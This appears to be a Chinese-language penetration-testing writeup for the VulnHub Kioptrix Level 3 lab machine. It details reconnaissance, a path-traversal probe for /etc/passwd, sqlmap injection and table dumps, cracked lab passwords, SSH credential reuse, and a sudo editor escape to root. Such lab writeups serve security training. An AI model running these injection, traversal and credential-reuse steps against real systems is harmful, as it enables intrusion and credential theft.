NimanthaSupun/kioptrix-level-3-compremission

# Kioptrix：Level 3 — 渗透测试 Writeup **目标：** Kioptrix Level 3 (VulnHub) **攻击者 IP：** 192.168.56.1 (Kali) **目标 IP：** 192.168.56.102 (`kioptrix3.com`) **攻击链：** Web 侦察 → 目录枚举 → SQL 注入 → 凭据破解 → 凭据重用 (SSH) → sudo 配置不当 → root ## 目录 1. [信息收集](#1-reconnaissance) 2. [Web 枚举](#2-web-enumeration) 3. [目录暴力破解](#3-directory-brute-forcing) 4. [发现 Gallery 应用](#4-discovering-the-gallery-application) 5. [SQL 注入](#5-sql-injection) 6. [提取与破解凭据](#6-extracting--cracking-credentials) 7. [访问管理面板](#7-admin-panel-access) 8. [通过 SSH 获取 Shell](#8-gaining-a-shell-via-ssh) 9. [权限提升](#9-privilege-escalation) ## 1. 信息收集 首先进行了全 TCP 端口和服务版本扫描，以确定攻击面： ``` nmap -sV -p- 192.168.56.102 ```  **结果：** | 端口 | 服务 | 版本 | |------|---------|---------| | 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1.2 | | 80/tcp | http | Apache httpd 2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch | 仅暴露了两个服务。两者都是老旧（2008 年时期）的版本——这强烈暗示该机器容易受到某些特定版本漏洞的攻击，而不是零日级别的漏洞。SSH 可用，但在没有凭据的情况下毫无用处，因此端口 80 上的 Web 服务器成为了主要目标。 ## 2. Web 枚举 手动抓取了主页，以查看网站的构建方式： ``` curl http://kioptrix3.com ```  `` 标签立即识别出了 CMS：**LotusCMS**。源码中还可以看到：一个指向 `index.php?system=Admin` 的链接，值得接下来进行检查。 ``` curl http://kioptrix3.com/index.php?system=Admin ```  这证实了该路径下存在 LotusCMS 管理登录面板。目前还没有凭据——已记录以备后用，但没有直接进行尝试，因为盲目地暴力破解登录表单效率低下。 **测试本地文件包含 (LFI)：** ``` curl "http://kioptrix3.com/index.php?page=../../../etc/passwd" ```  结果：返回了一个正常的“Page Not Found - Error 404”响应，而不是 `/etc/passwd` 的内容。排除了将原始、未过滤的 `page` 参数直接传递给 PHP `include()` 的情况——LFI 类攻击在此处不适用（应用程序正在过滤或将 `page` 的值列入白名单）。 ## 3. 目录暴力破解 与其继续手动猜测路径，不如运行目录暴力破解来枚举完整的站点结构： ``` gobuster dir -u http://kioptrix3.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt ```  **关键发现：** | 路径 | 状态 | 备注 | |------|--------|-------| | `/gallery` | 301 | 新的应用程序——未在主页导航中链接 | | `/phpmyadmin` | 301 | 数据库管理界面 | | `/core`, `/modules`, `/cache`, `/style` | 301/403 | LotusCMS 内部文件 | | `/update.php` | 200 | 值得注意，但未深入挖掘 | `/gallery` 立即凸显出来，它是挂载到 CMS 上的第二个独立应用程序——这是这些靶机中常见的模式，并且通常是比“主”软件更薄弱的环节。 ## 4. 发现 Gallery 应用程序 ``` curl http://kioptrix3.com/gallery/ ```  响应的 `Generator` meta 标签揭示了它正在运行 **Gallarific**，这是一个独立的、较老的照片画廊 CMS——与 LotusCMS 完全是不同的代码库，因此需要检查完全不同的一组漏洞。 ## 5. SQL 注入 手动测试了画廊的 `id` 参数，首先使用正常值，然后使用单引号尝试破坏底层的 SQL 查询： ``` curl "http://kioptrix3.com/gallery/gallery.php?id=1" ```  ``` curl "http://kioptrix3.com/gallery/gallery.php?id=1'" ```  这两个请求在 HTTP 层面返回了视觉上完全相同的页面——HTML 中没有渲染出明显的 SQL 错误。然而，仅凭这一点并不能排除注入：许多可注入的参数不会抛出可见错误，而是需要使用盲注或基于布尔的盲注技术来检测。没有仅凭一次手动测试就得出假阴性的结论，而是将该参数交给了 sqlmap 进行更广泛的注入测试： ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dbs --batch ```  **sqlmap 确认了 `id` 参数可以通过多种技术同时进行注入：** - 基于布尔的盲注 - 基于报错的注入 (MySQL ≥ 4.1, `FLOOR()`/`RAND()` 技巧) - (sqlmap 的完整输出还报告了时间盲注和基于 UNION 的攻击向量) 这是一个非常容易利用的强注入点，尽管在肉眼看来没有任何可见的症状——这是一个很好的实践教训，说明了即使手动测试看起来没问题，自动化确认仍然很重要。 ## 6. 提取与破解凭据 确认注入后，枚举了数据库，然后枚举了 `gallery` 数据库中的表： ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery --tables --batch ```  发现了七个表。`dev_accounts` 脱颖而出，是最有可能包含真实的、可重用凭据的表（与 `gallarific_*` 表相反，后者更有可能仅限于画廊应用程序本身）： ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery -T dev_accounts --dump --batch ```  sqlmap 导出了两行数据，并自动将 `password` 列识别为 MD5 散列值，然后使用其自带的字典攻击破解了这两个散列： | 用户名 | 散列值 | 破解出的密码 | |----------|------|-------------------| | `dreg` | `0d3eccfb887aabd50f243b3f155c0f85` | `Mast3r` | | `loneferret` | `5badcaf789d3d1d09794d8f021f40f0e` | `starwars` | 这些用户名看起来不像画廊应用程序的账户——它们看起来像是 **Linux 系统用户名**，这使得它们自然而然地成为接下来尝试针对 SSH 进行登录的首选。 ## 7. 访问管理面板 另外，`gallarific_users` 表（通过对该表执行类似的 `--dump` 导出）产生了一个明文的画廊管理员凭据：`admin : n0t7t1k4`。使用它成功通过了 Gallarific 管理面板的身份验证： ``` curl -X POST "http://kioptrix3.com/gallery/gadmin/index.php?task=signin" \ -d "username=admin&password=n0t7t1k4" -c cookies.txt -L ```  响应 `document.location.href = "index.php";` 是应用程序在成功登录时触发的客户端重定向——证实了该凭据是有效的。这获得了画廊管理员权限，但这只是一个次要发现；继续深入的真正途径是 `dreg`/`loneferret` 凭据。 ## 8. 通过 SSH 获取 Shell 最初尝试使用破解出的 `loneferret` 凭据直接进行 SSH 登录时，算法协商失败——这是此约 2009 年时期靶机的旧版 OpenSSH 提供的算法与现代 Kali 客户端更严格的默认设置之间的不匹配： ``` Unable to negotiate with 192.168.56.102 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ``` 通过在客户端仅为此次连接显式重新启用旧版算法解决了该问题： ``` ssh -oHostKeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1 loneferret@192.168.56.102 ```  ``` Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 loneferret@Kioptrix3:~$ whoami loneferret ``` 使用通过 SQL 注入恢复的密码，确认了以 `loneferret` 系统用户的身份获得了 shell 访问权限——这是一个数据库凭据在操作系统中重用的直接案例。 ## 9. 权限提升 以 `loneferret` 身份运行 `sudo -l` 以确认 sudo 下允许执行的命令： ``` sudo -l ``` 输出显示 `loneferret` 可以在不使用密码的情况下以 root 身份运行 `/usr/local/bin/ht`，这是一个典型的基于编辑器的提权途径。 为了获得交互式的 root shell，首先确保为旧版 `ht` 二进制文件正确设置了终端类型： ``` export TERM=xterm sudo /usr/local/bin/ht ``` 在 `ht` 内部，利用编辑器的 shell 逃逸功能生成了一个 root shell。这取得了该机器的完全 root 访问权限。  ``` whoami root ``` 至此，完成了通过一个允许无密码使用 `sudo` 运行的编辑器，从 `loneferret` 提权到 root 的途径。

标签：CISA项目, CSV导出, CTI, 内存分配, 协议分析, 安全靶机, 实时处理, 密码管理, 数据展示, 权限提升, 红队, 网络安全, 隐私保护